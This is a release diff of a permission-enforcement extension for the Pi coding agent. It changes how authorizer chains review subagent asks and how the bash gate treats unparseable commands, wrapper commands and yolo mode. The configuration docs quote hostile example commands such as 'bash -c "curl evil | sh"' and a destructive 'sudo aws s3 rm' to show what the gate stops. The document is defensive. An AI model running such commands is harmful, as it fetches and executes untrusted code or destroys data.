@gotgenes/pi-permission-system 25.1.0 → 25.2.1

package/CHANGELOG.md

@@ -5,6 +5,36 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [25.2.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.2.0...pi-permission-system-v25.2.1) (2026-08-15)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** auto-approve residual synthetic asks under yolo ([e1706d3](https://github.com/gotgenes/pi-packages/commit/e1706d3ea6497e4ce32d715af6034aea7dd4d0fc))
+* **pi-permission-system:** honor an explicit bash deny for an unparseable command ([2e45633](https://github.com/gotgenes/pi-packages/commit/2e45633fa000c9c67ed62acaaf571f50c45a0d88))
+
+
+### Documentation
+
+* **pi-permission-system:** describe the gate-level yolo grant ([8a8e4a7](https://github.com/gotgenes/pi-packages/commit/8a8e4a72bd52e37efef573ccf023e967206eaf1e)), closes [#712](https://github.com/gotgenes/pi-packages/issues/712)
+
+## [25.2.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.1.0...pi-permission-system-v25.2.0) (2026-08-14)
+
+
+### Features
+
+* **pi-permission-system:** record which chain links were consulted on each ask ([8bb52ff](https://github.com/gotgenes/pi-packages/commit/8bb52ffe26cfb0c995e8299ebe737a09f1717c57)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** stop reporting a delegated subagent chain as unregistered links ([2a1c082](https://github.com/gotgenes/pi-packages/commit/2a1c08292131e9f7dd71adeac380a997ccc0069a)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
+
+
+### Documentation
+
+* **pi-permission-system:** document one-chain-per-node adjudication semantics ([c36980a](https://github.com/gotgenes/pi-packages/commit/c36980ae2cf6d1b115b4b3f20e9513dac61c3d1b)), closes [#727](https://github.com/gotgenes/pi-packages/issues/727)
+
 ## [25.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v25.0.0...pi-permission-system-v25.1.0) (2026-08-13)
 
 

package/README.md

@@ -116,6 +116,7 @@ The optional `shellTools` field records which non-`bash` tools carry shell seman
 
 The optional `authorizerChain` field names registered case-by-case decision links (e.g. a light model judge) to consult when a request lands on `ask`, ahead of the interactive prompt.
 A downstream extension registers a link via `getPermissionsService().registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on `external_directory`/`path` to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
+A subagent's ask is reviewed by the chain of the session serving it, one hop up, rather than inside the subagent — see the same section.
 [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge) is a first-party reference implementation of such a link — a deny-first reviewer that auto-denies mistyped out-of-directory paths.
 
 For the full reference — all surfaces, runtime knobs, per-agent overrides, merge semantics, and common recipes — see [docs/configuration.md](docs/configuration.md).

package/docs/configuration.md

@@ -215,6 +215,18 @@ The excluded surface is the **gate** surface the rule fired on, not the tool nam
 This holds for an ask forwarded up from a subagent exactly as it does for a local one.
 See [migration/0635-forwarded-ask-delegation-envelope.md](migration/0635-forwarded-ask-delegation-envelope.md).
 
+When a **subagent** raises the ask, the chain runs one hop up.
+The subagent forwards the request to the session serving it, and that session resolves it against its own rules and then runs *its* chain over the same evidence — so your configured links do review a subagent's asks, in the session you are watching.
+The subagent itself resolves no links (an extension cannot register one in a child session at all), and records `authorizer_chain_delegated` in the review log to say so.
+
+Three review-log records make the chain observable, all keyed by the ask's `requestId`:
+
+| Record                               | Meaning                                                                                                  |
+| ------------------------------------ | -------------------------------------------------------------------------------------------------------- |
+| `authorizer_chain_resolved`          | the links consulted on this ask, recorded before they run — a link that defers otherwise leaves no trace |
+| `authorizer_chain_delegated`         | the ask came from a relaying subagent node; the named links were deliberately not run here               |
+| `authorizer_chain_unregistered_link` | a configured name had no registered link — a real misconfiguration; the ask still reaches the terminal   |
+
 Extension authors: register a link from a `permissions:ready` handler via `getPermissionsService().registerAuthorizer(name, authorize)`; the callback receives the ask details and a narrow, session-scoped `PermissionQuery` (`checkPermission` / `getToolPermission`) so it can consult the deterministic engine at gate parity.
 Registration returns a disposer, and only one link may hold a given name.
 For a complete working example, see [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge): it registers a `model-judge` link on `permissions:ready` that reviews `external_directory` asks and auto-denies mistyped paths with a corrective reason.
@@ -382,13 +394,17 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 
 - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
 - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
+  A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
   An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
 - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
   So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
-  As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
+  As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
+
+Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
+An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "25.1.0",
+  "version": "25.2.1",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/authority/authorizer-selection.ts

@@ -4,8 +4,8 @@ import type { PermissionQuery } from "#src/service";
 import {
   type Authorizer,
   type AuthorizerSelectionDeps,
+  type SelectedAuthority,
   selectAuthorizer,
-  type TerminalAuthorizer,
 } from "./authorizer";
 import { composeAuthorizerChain } from "./authorizer-chain";
 import type { AuthorizerLookup } from "./authorizer-registry";
@@ -54,7 +54,7 @@ export interface AskEscalator {
 export class AuthorizerSelection
   implements AskEscalator, AuthorizerSelectionLifecycle
 {
-  private terminal: TerminalAuthorizer | null = null;
+  private authority: SelectedAuthority | null = null;
 
   constructor(
     private readonly deps: AuthorizerSelectionDeps & {
@@ -69,13 +69,43 @@ export class AuthorizerSelection
   ) {}
 
   /**
-   * Select the terminal Authorizer for `ctx` and store it. The non-terminal
+   * Select the live authority for `ctx` and store it. The non-terminal
    * chain is composed per ask in {@link escalate}, not here: ADR 0007 §4 lets a
    * link register in a `permissions:ready` handler that may fire after
    * activation, so link resolution is deferred to the session's first ask.
    */
   activate(ctx: ExtensionContext): void {
-    this.terminal = selectAuthorizer(ctx, this.deps);
+    this.authority = selectAuthorizer(ctx, this.deps);
+  }
+
+  /**
+   * The chain links for this ask.
+   *
+   * A node that adjudicates locally resolves its configured names; a relaying
+   * node resolves none. Its terminal hands the ask to a serving node, which
+   * resolves the request against its own recorded authority and escalates it
+   * through *its* chain over the same child-fixed facts (#635) — so running
+   * links here would adjudicate one ask twice, and a relaying node cannot host
+   * a link in the first place (#699). The delegation is recorded rather than
+   * reported as a fail-safe skip: an absent link is the design here, not the
+   * misconfiguration `authorizer_chain_unregistered_link` exists to surface.
+   */
+  private linksFor(
+    authority: SelectedAuthority,
+    requestId: string,
+  ): Authorizer[] {
+    const configured = this.deps.getAuthorizerChain();
+    if (configured.length === 0) {
+      return [];
+    }
+    if (!authority.adjudicatesLocally) {
+      this.deps.logger.review("authorizer_chain_delegated", {
+        requestId,
+        links: configured,
+      });
+      return [];
+    }
+    return this.resolveConfiguredLinks(configured, requestId);
   }
 
   /**
@@ -84,32 +114,52 @@ export class AuthorizerSelection
    * warning (invariant 2 — more prompting, never less); each resolved link is
    * wrapped in the bounded-delegation envelope so an `allow` on an excluded
    * surface cannot exceed the operator's policy.
+   *
+   * The resolved names are recorded against the ask before any link runs — a
+   * link that defers decides nothing and would otherwise leave no evidence it
+   * was consulted at all, which is what makes "the judge never ran" and "the
+   * judge ran and deferred" indistinguishable in the review log.
    */
-  private resolveConfiguredLinks(): Authorizer[] {
+  private resolveConfiguredLinks(
+    configured: readonly string[],
+    requestId: string,
+  ): Authorizer[] {
     const links: Authorizer[] = [];
-    for (const name of this.deps.getAuthorizerChain()) {
+    const resolved: string[] = [];
+    for (const name of configured) {
       const authorize = this.deps.authorizerRegistry.get(name);
       if (authorize === undefined) {
-        this.deps.logger.review("authorizer_chain_unregistered_link", { name });
+        this.deps.logger.review("authorizer_chain_unregistered_link", {
+          requestId,
+          name,
+        });
         continue;
       }
+      resolved.push(name);
       links.push({ authorize: encloseInDelegationEnvelope(authorize) });
     }
+    if (resolved.length > 0) {
+      this.deps.logger.review("authorizer_chain_resolved", {
+        requestId,
+        links: resolved,
+      });
+    }
     return links;
   }
 
   /** Clear the stored selection. */
   deactivate(): void {
-    this.terminal = null;
+    this.authority = null;
   }
 
   /**
    * Escalate an ask through the composed chain and return its decision.
    *
-   * Resolves the configured links freshly (so a link registered any time before
+   * Resolves this ask's links freshly (so a link registered any time before
    * this first ask is honored) and composes them ahead of the selected
-   * terminal. With zero links the composed value **is** the terminal instance,
-   * so behavior is identical to a bare terminal escalation.
+   * terminal. With zero links — no chain configured, or a relaying node that
+   * delegates adjudication to the serving node — the composed value **is** the
+   * terminal instance, so behavior is identical to a bare terminal escalation.
    *
    * Rejects if no terminal has been selected — i.e. before the session was
    * activated. Implements {@link AskEscalator}.
@@ -117,14 +167,15 @@ export class AuthorizerSelection
   escalate(
     details: PromptPermissionDetails,
   ): Promise<PermissionPromptDecision> {
-    if (this.terminal === null) {
+    const authority = this.authority;
+    if (authority === null) {
       return Promise.reject(
         new Error("escalate called before the session was activated"),
       );
     }
     const chain = composeAuthorizerChain(
-      this.resolveConfiguredLinks(),
-      this.terminal,
+      this.linksFor(authority, details.requestId),
+      authority.terminal,
       this.deps.getPermissionQuery(),
       this.deps.logger,
     );

package/src/authority/authorizer.ts

@@ -59,6 +59,28 @@ export interface TerminalAuthorizer {
   ): Promise<PermissionPromptDecision>;
 }
 
+/**
+ * The node's live-authority selection: who decides this node's asks, and
+ * whether this node adjudicates them with its own chain.
+ *
+ * The chain role is the selection's product, not a discriminator a consumer
+ * re-derives: `selectAuthorizer` tests `hasUI` before `isSubagent`, so a
+ * subagent that has its own UI decides locally, and re-deriving the role from
+ * `detection.isSubagent(ctx)` alone would get that case wrong.
+ */
+export interface SelectedAuthority {
+  /** The terminal that decides this node's asks, or relays them upward. */
+  readonly terminal: TerminalAuthorizer;
+  /**
+   * False when the terminal relays the ask to a serving node
+   * (`ParentAuthorizer`): that node resolves the request against its own
+   * recorded authority and escalates it through *its* chain over the same
+   * child-fixed facts (#635), so resolving links here would adjudicate one ask
+   * twice.
+   */
+  readonly adjudicatesLocally: boolean;
+}
+
 /** Construction inputs for {@link selectAuthorizer}. */
 export interface AuthorizerSelectionDeps {
   /** Single owner of subagent detection; the ParentAuthorizer-selection predicate. */
@@ -81,8 +103,9 @@ export interface AuthorizerSelectionDeps {
 }
 
 /**
- * Select the `Authorizer` for the current context: the single owner of the
- * three-way `hasUI` / `isSubagent` / deny dispatch.
+ * Select the live authority for the current context: the single owner of the
+ * three-way `hasUI` / `isSubagent` / deny dispatch, and of the chain role that
+ * dispatch implies.
  *
  * Evaluated once per session activation (`AuthorizerSelection.activate`),
  * replacing the re-derivation of the same predicates across
@@ -91,24 +114,30 @@ export interface AuthorizerSelectionDeps {
 export function selectAuthorizer(
   ctx: ExtensionContext,
   deps: AuthorizerSelectionDeps,
-): TerminalAuthorizer {
+): SelectedAuthority {
   if (ctx.hasUI) {
-    return new LocalUserAuthorizer({
-      ui: ctx.ui,
-      mode: ctx.mode,
-      events: deps.events,
-      getPromptPreferences: deps.getPromptPreferences,
-      requestPermissionDecision: deps.requestPermissionDecision,
-    });
+    return {
+      terminal: new LocalUserAuthorizer({
+        ui: ctx.ui,
+        mode: ctx.mode,
+        events: deps.events,
+        getPromptPreferences: deps.getPromptPreferences,
+        requestPermissionDecision: deps.requestPermissionDecision,
+      }),
+      adjudicatesLocally: true,
+    };
   }
   if (deps.detection.isSubagent(ctx)) {
-    return new ParentAuthorizer(ctx, {
-      forwardingDir: deps.forwardingDir,
-      registry: deps.registry,
-      serving: deps.servingRegistry,
-      getTimeoutMs: deps.getForwardingTimeoutMs,
-      logger: deps.logger,
-    });
+    return {
+      terminal: new ParentAuthorizer(ctx, {
+        forwardingDir: deps.forwardingDir,
+        registry: deps.registry,
+        serving: deps.servingRegistry,
+        getTimeoutMs: deps.getForwardingTimeoutMs,
+        logger: deps.logger,
+      }),
+      adjudicatesLocally: false,
+    };
   }
-  return new DenyingAuthorizer();
+  return { terminal: new DenyingAuthorizer(), adjudicatesLocally: true };
 }

package/src/authority/permission-prompter.ts

@@ -94,9 +94,11 @@ export interface PermissionPrompterDeps {
  * `ParentAuthorizer`, `DenyingAuthorizer`) — this class no longer threads
  * `ExtensionContext` per call.
  *
- * Yolo-mode auto-approval happens upstream, at the composition stage
- * (`PermissionManager.check`'s `rewriteAsksToYolo`) — an `ask` never reaches
- * this class under yolo, so this class has no yolo-mode knowledge.
+ * Yolo-mode auto-approval happens upstream: at the composition stage
+ * (`PermissionManager.check`'s `rewriteAsksToYolo`) for a rule-driven ask, and
+ * at `GateRunner`'s auto-approve fast path (`resolveYoloGrant`) for an ask
+ * synthesized after resolution, which no rule rewrite can reach (#712) — an
+ * `ask` never reaches this class under yolo, so it has no yolo-mode knowledge.
  */
 export class PermissionPrompter implements PermissionPrompterApi {
   constructor(private readonly deps: PermissionPrompterDeps) {}

package/src/handlers/gates/bash-command.ts

@@ -36,7 +36,9 @@ import type { PermissionCheckResult } from "#src/types";
  * to zero command units (a parse anomaly or an opaque program) fails closed to
  * a synthetic `ask` so a permissive top-level `*` cannot silently allow an
  * unparseable command (e.g. `cd /repo && git push` riding a top-level allow on
- * the empty-parse path) — #452.
+ * the empty-parse path) — #452. The whole command is still resolved first so an
+ * explicit `deny` covering it denies outright rather than being masked into an
+ * approvable prompt (#712).
  *
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
  * handler, which passes the decomposed `commands` here.
@@ -58,12 +60,11 @@ export function resolveBashCommandCheck(
 ): PermissionCheckResult {
   if (commands.length === 0) {
     if (isTriviallyEmptyCommand(command)) {
-      return resolver.resolve({
-        kind: "tool",
-        surface: "bash",
-        input: { command },
-        agentName,
-      });
+      return resolveWholeCommand(command, agentName, resolver);
+    }
+    const whole = resolveWholeCommand(command, agentName, resolver);
+    if (whole.state === "deny") {
+      return whole;
     }
     return {
       state: "ask",
@@ -94,12 +95,7 @@ export function resolveBashCommandCheck(
   });
   return (
     pickMostRestrictive(results) ??
-    resolver.resolve({
-      kind: "tool",
-      surface: "bash",
-      input: { command },
-      agentName,
-    })
+    resolveWholeCommand(command, agentName, resolver)
   );
 }
 
@@ -116,3 +112,17 @@ function isTriviallyEmptyCommand(command: string): boolean {
     .filter((line) => line.length > 0);
   return lines.every((line) => line.startsWith("#"));
 }
+
+/** Resolve the whole command string as a single unit on the `bash` surface. */
+function resolveWholeCommand(
+  command: string,
+  agentName: string | undefined,
+  resolver: ScopedPermissionResolver,
+): PermissionCheckResult {
+  return resolver.resolve({
+    kind: "tool",
+    surface: "bash",
+    input: { command },
+    agentName,
+  });
+}

package/src/handlers/gates/helpers.ts

@@ -113,3 +113,32 @@ export function deriveResolution(
   }
   return confirmationUnavailable ? "confirmation_unavailable" : "user_denied";
 }
+
+/**
+ * The standing yolo grant covering a gate's resolved check, or `null` when
+ * yolo does not answer it.
+ *
+ * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
+ * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
+ * first arm recognizes that grant. The second arm covers an `ask` synthesized
+ * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
+ * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
+ * cannot reach because the floor is a property of a parsed command unit, not of
+ * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
+ * log still shows why the ask was raised, while `origin: "yolo"` records why it
+ * was granted.
+ *
+ * A `deny` matches neither arm, so an explicit deny survives yolo.
+ */
+export function resolveYoloGrant(
+  check: PermissionCheckResult,
+  yoloEnabled: boolean,
+): PermissionCheckResult | null {
+  if (check.state === "allow" && check.origin === "yolo") {
+    return check;
+  }
+  if (check.state === "ask" && yoloEnabled) {
+    return { ...check, state: "allow", origin: "yolo" };
+  }
+  return null;
+}

package/src/handlers/gates/runner.ts

@@ -12,7 +12,11 @@ import type { SessionApprovalRecorder } from "#src/session-approval-recorder";
 import type { PermissionCheckResult } from "#src/types";
 import type { GateDescriptor, GateResult } from "./descriptor";
 import { isGateBypass } from "./descriptor";
-import { buildDecisionEvent, deriveResolution } from "./helpers";
+import {
+  buildDecisionEvent,
+  deriveResolution,
+  resolveYoloGrant,
+} from "./helpers";
 import type { GateOutcome } from "./types";
 
 // ── GateRunner class ───────────────────────────────────────────────────────
@@ -32,6 +36,11 @@ export class GateRunner {
     private readonly recorder: SessionApprovalRecorder,
     private readonly prompter: AskEscalator,
     private readonly reporter: DecisionReporter,
+    /**
+     * Live yolo reader, read per gate so a mid-session config change takes
+     * effect — the same closure `PermissionManager` receives.
+     */
+    private readonly isYoloEnabled: () => boolean,
   ) {}
 
   /**
@@ -105,11 +114,12 @@ export class GateRunner {
       return { action: "allow" };
     }
 
-    // 2b. Yolo fast-path — a composition-stage ask→allow rewrite records
-    // origin "yolo" on the matched rule. Auto-approve without prompting,
-    // preserving today's single auto_approved review entry + decision event
-    // so review-log parity holds (#526).
-    if (check.state === "allow" && check.origin === "yolo") {
+    // 2b. Yolo fast-path — the composition-stage ask→allow rewrite (origin
+    // "yolo" on the matched rule, #526) or, under yolo, an ask synthesized
+    // after resolution (#712). Auto-approve without prompting, preserving the
+    // single auto_approved review entry + decision event so log parity holds.
+    const yoloGrant = resolveYoloGrant(check, this.isYoloEnabled());
+    if (yoloGrant) {
       this.reporter.writeReviewLog("permission_request.auto_approved", {
         ...descriptor.logContext,
         agentName,
@@ -118,10 +128,10 @@ export class GateRunner {
       this.reporter.emitDecision(
         buildDecisionEvent(
           descriptor.decision,
-          check,
+          yoloGrant,
           agentName,
           "allow",
-          deriveResolution(check.state, "allow", false, false, true),
+          deriveResolution(yoloGrant.state, "allow", false, false, true),
         ),
       );
       return { action: "allow" };

package/src/index.ts

@@ -84,13 +84,16 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
   // eslint-disable-next-line prefer-const -- forward-declared let; `const` requires an initializer
   let session: PermissionSession;
 
-  // Constructed after the `configStore` forward declaration so the yolo reader
-  // can close over it; the closure runs per check(), after configStore is
-  // assigned below. yolo becomes a composition-stage ask→allow rewrite (#526).
+  // Declared after the `configStore` forward declaration so the reader can
+  // close over it; every call runs after configStore is assigned below. yolo is
+  // a composition-stage ask→allow rewrite (#526) that the gate runner extends
+  // to asks synthesized after resolution (#712), so both share this reader.
+  const isYoloEnabled = (): boolean => isYoloModeEnabled(configStore.current());
+
   const permissionManager = new PermissionManager({
     agentDir,
     flavor: hostFlavor,
-    isYoloEnabled: () => isYoloModeEnabled(configStore.current()),
+    isYoloEnabled,
   });
 
   const logger = new PermissionSessionLogger({
@@ -255,6 +258,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
     sessionRules,
     authorizerSelection,
     reporter,
+    isYoloEnabled,
   );
   const toolCallGatePipeline = new ToolCallGatePipeline(
     resolver,